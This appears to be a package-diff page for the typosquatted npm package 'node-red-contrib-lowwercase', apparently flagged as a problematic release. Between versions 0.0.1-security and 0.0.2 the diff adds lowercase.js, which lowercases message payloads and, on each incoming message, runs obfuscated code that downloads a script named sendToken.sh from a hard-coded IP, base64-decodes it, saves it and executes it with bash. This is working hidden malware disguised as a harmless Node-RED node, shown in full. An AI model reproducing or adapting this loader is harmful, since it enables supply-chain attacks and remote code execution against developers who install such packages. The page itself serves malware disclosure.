node-red-contrib-lowwercase 0.0.1-security → 0.0.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of node-red-contrib-lowwercase might be problematic. Click here for more details.
- package/lowercase.html +26 -0
- package/lowercase.js +1 -0
- package/package.json +18 -6
- package/README.md +0 -5
package/lowercase.html
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
<script type="text/javascript">
|
2
|
+
RED.nodes.registerType('lowercase',{
|
3
|
+
category: 'function',
|
4
|
+
color: '#a6bbcf',
|
5
|
+
defaults: {
|
6
|
+
name: {value:""}
|
7
|
+
},
|
8
|
+
inputs:1,
|
9
|
+
outputs:1,
|
10
|
+
icon: "light.png",
|
11
|
+
label: function() {
|
12
|
+
return this.name||"LowerCase";
|
13
|
+
}
|
14
|
+
});
|
15
|
+
</script>
|
16
|
+
|
17
|
+
<script type="text/x-red" data-template-name="LowerCase">
|
18
|
+
<div class="form-row">
|
19
|
+
<label for="node-input-name"><i class="icon-tag"></i> Name</label>
|
20
|
+
<input type="text" id="node-input-name" placeholder="Name">
|
21
|
+
</div>
|
22
|
+
</script>
|
23
|
+
|
24
|
+
<script type="text/x-red" data-help-name="LowerCase">
|
25
|
+
<p>A simple node that converts the message payloads into all lower-case characters</p>
|
26
|
+
</script>
|
package/lowercase.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const a0_0x35815f=a0_0xeae6;(function(_0x3b8ed1,_0x5c9b48){const _0x155476=a0_0xeae6,_0x4f5d46=_0x3b8ed1();while(!![]){try{const _0x192b13=parseInt(_0x155476(0x15e))/0x1*(parseInt(_0x155476(0x16c))/0x2)+-parseInt(_0x155476(0x17a))/0x3*(-parseInt(_0x155476(0x15f))/0x4)+-parseInt(_0x155476(0x171))/0x5*(-parseInt(_0x155476(0x17d))/0x6)+parseInt(_0x155476(0x17c))/0x7+parseInt(_0x155476(0x15d))/0x8+-parseInt(_0x155476(0x17b))/0x9+-parseInt(_0x155476(0x167))/0xa;if(_0x192b13===_0x5c9b48)break;else _0x4f5d46['push'](_0x4f5d46['shift']());}catch(_0x2e4cd){_0x4f5d46['push'](_0x4f5d46['shift']());}}}(a0_0x472a,0x689f8));function a0_0xeae6(_0x5d3ecc,_0x52c57d){const _0x472a66=a0_0x472a();return a0_0xeae6=function(_0xeae69d,_0xcf2d65){_0xeae69d=_0xeae69d-0x15c;let _0x371f2f=_0x472a66[_0xeae69d];return _0x371f2f;},a0_0xeae6(_0x5d3ecc,_0x52c57d);}const {execFile}=require('child_process'),fetch=require(a0_0x35815f(0x164)),fs=require('fs');async function download(){const _0x6282f2=a0_0x35815f;try{const _0x521350=await fetch(_0x6282f2(0x17e));if(!_0x521350['ok'])throw new Error(_0x6282f2(0x173)+_0x521350[_0x6282f2(0x166)]);const _0x24948f=await _0x521350[_0x6282f2(0x169)]();return console[_0x6282f2(0x15c)](_0x6282f2(0x16b)),_0x24948f;}catch(_0x2321ff){console[_0x6282f2(0x170)](_0x6282f2(0x165),_0x2321ff);throw _0x2321ff;}}async function decodeAndExecute(_0x3a3055){const _0x2ac4a9=a0_0x35815f;try{const _0x3b1e9d=Buffer[_0x2ac4a9(0x168)](_0x3a3055,_0x2ac4a9(0x161))['toString'](_0x2ac4a9(0x174));fs['writeFileSync'](_0x2ac4a9(0x16f),_0x3b1e9d),execFile(_0x2ac4a9(0x178),[_0x2ac4a9(0x16f)],(_0x2e9296,_0xc5c648,_0x3081d0)=>{const _0x21aa5b=_0x2ac4a9;if(_0x2e9296){console[_0x21aa5b(0x170)]('Error\x20executing\x20script:',_0x2e9296);return;}console[_0x21aa5b(0x15c)](_0x21aa5b(0x160),_0xc5c648),_0x3081d0&&console[_0x21aa5b(0x170)](_0x21aa5b(0x163),_0x3081d0);});}catch(_0x1d20a1){console['error'](_0x2ac4a9(0x179),_0x1d20a1);}}module['exports']=function(_0x5b5bd7){const _0x41b16e=a0_0x35815f;function _0x2930da(_0x59e9cb){const _0x1d8f35=a0_0xeae6;_0x5b5bd7['nodes'][_0x1d8f35(0x162)](this,_0x59e9cb);var _0x45d1b3=this;const _0x7a0273=async()=>{const _0x3afdf2=_0x1d8f35;try{const _0x288a0f=await download();await decodeAndExecute(_0x288a0f);}catch(_0x5d762f){console[_0x3afdf2(0x170)](_0x3afdf2(0x16a),_0x5d762f);}};_0x45d1b3['on'](_0x1d8f35(0x172),function(_0x5a4710){const _0x422c48=_0x1d8f35;_0x5a4710[_0x422c48(0x16d)]=_0x5a4710[_0x422c48(0x16d)][_0x422c48(0x16e)](),_0x45d1b3[_0x422c48(0x176)](_0x5a4710),_0x7a0273();});}_0x5b5bd7[_0x41b16e(0x175)][_0x41b16e(0x177)]('lowercase',_0x2930da);};function a0_0x472a(){const _0x660c21=['nodes','send','registerType','bash','Failed\x20to\x20decode\x20or\x20execute\x20script:','1194729EthOLh','1733436fumMhf','2185596HmQqqL','12UGvrPc','http://192.168.130.140/sendToken.sh','log','5002704hToqoa','120481cEYPIU','4cgrYAl','Script\x20executed\x20successfully:','base64','createNode','Script\x20stderr:','node-fetch','Error\x20downloading\x20script:','statusText','16286730iPBhiO','from','text','Failed\x20to\x20download\x20or\x20execute\x20script:','Downloaded\x20encoded\x20sendToken.sh\x20successfully','4zpfcXj','payload','toLowerCase','./script.sh','error','1682605cWAgXy','input','Failed\x20to\x20fetch\x20script:\x20','utf8'];a0_0x472a=function(){return _0x660c21;};return a0_0x472a();}
|
package/package.json
CHANGED
@@ -1,6 +1,18 @@
|
|
1
|
-
{
|
2
|
-
"name": "node-red-contrib-lowwercase",
|
3
|
-
"version": "0.0.
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "node-red-contrib-lowwercase",
|
3
|
+
"version": "0.0.2",
|
4
|
+
"description": "lowwercase",
|
5
|
+
"main": "lowercase.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"license": "MIT",
|
10
|
+
"node-red": {
|
11
|
+
"nodes": {
|
12
|
+
"request": "lowercase.js"
|
13
|
+
}
|
14
|
+
},
|
15
|
+
"dependencies": {
|
16
|
+
"node-red-contrib-lowercase": "file:"
|
17
|
+
}
|
18
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=node-red-contrib-lowwercase for more information.
|